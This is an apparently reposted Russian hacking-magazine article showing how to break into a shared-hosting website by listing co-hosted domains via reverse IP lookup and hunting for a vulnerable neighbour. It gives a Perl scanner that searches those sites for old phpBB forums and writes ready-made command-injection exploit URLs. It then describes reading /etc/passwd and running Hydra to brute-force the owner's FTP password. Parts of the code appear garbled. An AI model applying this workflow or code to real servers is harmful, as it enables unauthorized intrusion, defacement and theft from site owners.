Cпособ взлома web-сайтов: Reverse IP Lookup
Представь, что хакеру нужно задефейсить сайт, украсть какую-то базу данных или просто получить исходник некой лежащей на сервере web-программы. Действовать, скорее всего, он будет по стандартно-пресловутой схеме: сначала проверит скрипты на наличие программерских ошибок, потом попробует найти бажный демон на серваке и проникнуть в систему через него. Затем он попытается протроянить жертву. Но что делать, если все старания не увенчались успехом? Хакер-профи прибегнет к использованию принципиально новой технологии взлома Reverse IP Lookup, о которой до сегодняшнего дня нигде ничего сказано не было. С ее помощью можно легко получить шелл-доступ к целевому компу. О ней я и расскажу в этой статье.
Приступим
Если взломщику удастся получить шелл-доступ хотя бы с минимальными правами, шансы на взлом резко увеличатся. Посуди сам: имея шелл, хаксор не только сможет путешествовать по файловой системе сервера, которая, возможно, содержит админские бэкапы, файлы с хэшами паролей, суидные программы и прочую инфу, представляющую интерес для взломщика, но и получит возможность запускать соответствующие бажному софту эксплойты, рутающие сервер с помощью локальной уязвимости. И это еще не все. Основная соль заключается в том, что на сервер можно установить консольный брутфорсер Hydra, возможности которого я описывал в соответствующей статье январского выпуска. Если натравить эту софтину на нужный локальный SSH/FTP/MySQL-аккаунт, результаты брута превзойдут все ожидания – скорость перебора паролей будет очень высокой, вследствие чего пасс подберется за относительно короткое время. Поэтому первоначальной целью хакера при взломе любого сервера является получение доступа к командному интерпретатору операционной системы компьютера-жертвы.
Ломаем невзламываемое
Итак, задача взломщика на первом этапе сводится к получению шелл-доступа к серваку, на котором крутится ломаемый сайт. Что же делать, если атакуемый ресурс содержит скрипты, в которых напрочь отсутствуют баги, а все демоны, запущенные на сервере, пропатчены? На первый взгляд, ситуация безвыходная – сайт взломать невозможно. Но «невозможно» - это всего лишь громкое слово, за которым прячутся слабаки и неудачники. Выход в этой ситуации следующий: необходимо найти и поломать другой уязвимый сайт, расположенный на том же сервере, где находится и сайт-жертва, чтобы получить шелл-доступ. Где же намутить список всех сайтов, которые расположены на хостинге? Существует два способа. Если у хостера есть каталог клиентских сайтов, то можно найти через него уязвимый ресурс. Но это слишком нудный, глупый и непрактичный метод по сравнению со вторым.
Идеально было бы иметь огромную таблицу, связывающую доменные имена и IP-адреса в масштабе всей Сети. Однако в силу совершенно другой, более сложной и распределенной структуры DNS, это вряд ли возможно. По крайней мере, не обладая огромными ресурсами, создать такую таблицу непросто (здесь под таблицей я, конечно, не подразумеваю реальную таблицу в БД - конкретную реализацию мы не обсуждаем). Однако ничего и не надо создавать: проблема давным-давно уже решена. Недавно на сайте wwwdomainsdb.net открылся сервис, позволяющий легко и быстро получить список всех виртуальных доменов, которые хостятся на одном сервере с указанным в поиске сайтом.
DomainsDB.net
DomainsDB.net – это просто чудо-находка для хакера! Зарегистрировавшись на сервисе, хакер сможет получить список сайтов, хостящихся на произвольном указанном им сервере.
Представь, что кибер-мерзавцу нужно поломать какой-нибудь простой сайт, например wwwzhopa.net. И вот что он сделает для этого. Сначала сетевой падонак зайдет на wwwdomainsdb.net и зарегистрируется. После этого он перейдет на главную страницу сервиса, введет в поле Lookup доменное имя zhopa.net и нажмет на кнопку Enter. Появится страница, содержащая фразу «There are 748 domains on this IP, click here to get them all». Теперь ему нужно кликнуть на ссылку «Click here», и перед ним появится список доменов, которым назначен IP-адрес 64.237.57.92, то есть тот IP, на который ссылается сам zhopa.net . Посуди сам: раз все домены из полученного списка ссылаются на один IP-адрес, значит, сайты, принадлежащие этим доменам, находятся на одном сервере с сайтом wwwzhopa.net. Поэтому чтобы получить шелл-доступ к серверу, на котором хостится wwwzhopa.net, хакеру нужно поломать хотя бы один сайт из списка, который сгенерил сервис wwwdomainsdb.net, а это уже очень легко.
Выбираем баг
Несколько месяцев назад был обнаружен баг в движке известного форума phpBB – копатель-ковырятель, выявивший уязвимость, не поленился исследовать кучу php-скриптов на предмет некомпетентного использования функции system(). Уязвимыми оказались все версии до 2.0.10 включительно - любой скрипткидис запросто может поиметь шелл-доступ к серверу, если на сайте установлен дырявый phpBB. Если помнишь, об этой прорехе в январском номере писали наши сестры милосердия . Форум пользуется бешеной популярностью - по приблизительным наблюдениям он стоит на каждом сотом сайте в Сети. Если сервис wwwdomainsdb.net нашел сайтов сто на целевом сервере, то вероятность того, что на хостинге найдется какая-нибудь веб-пага с бажным phpBB, чрезвычайно высока.
Вернемся к первоначальной цели взломщика - к сайту wwwzhopa.net. Кибер-падонок может вручную исследовать сайты из списка на наличие дырявого форума phpBB и найти таковой. Но это может отнять немало времени и сил, которых сайт wwwzhopa.net вряд ли стоит.
Пишем крякер инета
Зачем делать монотонную, нудную работу, которую компьютер может сделать за тебя? Безусловно, в данной ситуации хакеру гораздо проще написать программку на перле, которая сама будет тусить по сайтам из сгенерированного сервисом wwwdomainsdb.net списка и искать форум phpBB. Только представь! Взломщик всего один раз потратит время на ее написание, а пользоваться сможет в любое время сколько угодно раз! Сейчас я попробую реализовать его задумку.
Сорцы скрипта
Код
use LWP::UserAgent;
$source="in.txt"; $result="result.htm";
open (FILE, $source);
while ($str=)
{ if($str=~/[whois]/igs)
{ @str=split (" ", $str);
$site=$str[1];
$url="http://www.$site/forum";
find_bug($url,$result);
$url="http://www.$site/phpbb";
find_bug($url,$result);
$url="http://www.$site/phpBB";
find_bug($url,$result);
$url="http://forum.$site";
find_bug($url,$result);
$i++; print "$i: $siten";
}
}
sub find_bug
{ $url=shift;
$result=shift;
open (RES, ">>$result");
$browser = LWP::UserAgent->new;
$res=$browser->get($url);
if($res->content =~/viewforum.php/igs)
{ $exploit="$url/viewtopic.php?t=7&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=uname%20-a";
print RES "$exploitn
$webpage
--------------------------------------------------------------------------------
";
}
close (RES);
}
Ну вот и все, самописный крякер инета создан и готов к работе! Прежде чем его запустить, нужно сохранить текст web-страницы со списком доменов с сервиса wwwdomainsdb.net в файле in.txt. После того как программка закончит работу, в файле result.htm не только появится листинг найденных phpBB-форумов, но и ссылки-эксплойты, дающие хакеру доступ к web-шеллу на сайте с бажным phpBB.
Локальный взлом
Если удача улыбнется хакеру, то желанный уязвимый форум найдется и, следовательно, компьютерный негодяй получит возможность исполнять через него команды операционной системы. Но что он будет делать дальше? Ведь хакер не сможет ни изменять, ни даже читать файлы, относящиеся к сайту wwwzhopa.net, поскольку шелл получен через бажную хоум-пагу постороннего юзера. Для этого ему придется поломать аккаунт пользователя, которому принадлежит сайт zhopa.net. Про методы локального взлома можно написать не одну статью, но сейчас я расскажу только об одной технологии – о локальном брутфорсе. Для ее реализации падонок сначала выудит из файла /etc/passwd логин целевого пользователя (в нашем случае логин владельца жопа.нет), потом установит на сервер многофункциональный брутфорсер Hydra и начнет с его помощью подбор пароля к FTP/SSH, MySQL-сервису, которым владеет атакуемый юзер. О том, как устанавливать гидру, я уже повествовал пару номеров назад, поэтому сейчас расскажу только о том, как можно юзать ее в данном случае.
Итак, взломщику придется приготовить файл с потенциальными паролями, которые будут использоваться для брута. Он может либо скачать уже готовую подборку паролей с NSD.ru (http://nsd.ru/soft.php?group=hacksoft&a … =passwords), либо составить свой персональный пасс-лист. Допустим, наш взломщик сохранил пароли в файле pass.txt. Теперь ему нужно натравить гидру на аккаунты zhopa.net, запустив перебор вот так:
hydra -l логин_от_жопа_нет -P pass.txt –t 255 127.0.0.1 ftp
После этого начнется брутфорс-атака FTP-сервиса, использующая 255 потоков. Поскольку взламываемый сервис является локальным, скорость перебора будет максимально высокой и пароль будет очень скоро получен. Если, конечно, перебор не запалит администратор сервера .
Подытожим
Что после всего вышеописанного можно сказать? Все сайты, расположенные на shared-хостингах, увы, уязвимы. Хакеру достаточно запустить наш крякер, и он в считанные минуты получит шелл-доступ к серверу. А security-умелец в момент поднимет свои права до рутовых, после чего сможет сделать с системой все что угодно.
Мнение разработчика сервиса
Служба DomainsDB.net содержит много всевозможной и постоянно обновляемой и пополняемой статистики, сделанной на основе информации о 50 миллионах доменов.
Сервис будет полезен веб-мастерам, интернет-маркетологам, секьюрити-аналитикам и другим IT-специалистам.
Как создать такую базу?
В самом деле, интересно, как же работает этот сервис? Как я уже говорил в статье, идеальным было бы иметь огромную такую табличку с полями «IP-адрес» и «Домен». Оттуда запросом вроде select * from addr where ip=’210.10.40.61’ можно было бы получить все домены, хостящиеся на указанном сервере. Однако, увы, такое наивное решение едва ли реализуемо. Как же быть?
Разумно предположить, что сама служба DNS предоставляет решение этой задачи, однако это не так. Конечно, в DNS есть такое понятие, как файл обратного просмотра, который устанавливает однозначное соответствие между IP-адресами и именами в зоне, однако это не может решить проблему. Единственный путь здесь – это действительно создать огромную базу данных со всеми (ну почти со всеми) доменными именами и IP-адресами. На практике все выглядит не так уж и устрашающе. Давай прикинем, сколько будет весить такая вот база. По самым щедрым оценкам, в инете 70 миллионов доменов второго уровня. Пусть на каждую запись будет отводиться по 300 байт, в этом случае объем базы будет всего-навсего 20 гигабайт. Вполне земные цифры, согласись. Конечно, если уж собирать такую статистику, то необходимо хранить также информацию о динамике, обладать сведениями, как меняется картина во времени. Но все равно создать такую базу вполне реально, для этого не нужно иметь огромный вычислительный кластер, и это проще, чем могло показаться на первый взгляд. Правда, конечно, потребуется большое количество интернет-трафика .
P.s. статья далеко не свежая, но материал имхо нужный...
Спасибо http://www.xaker.name/
Сервисы не всегда показывют подробную инфу.
Используйте разные сервисы.
http://www.whs.net.ru
DomainsDB.net
инфа взята с форума xaker.lv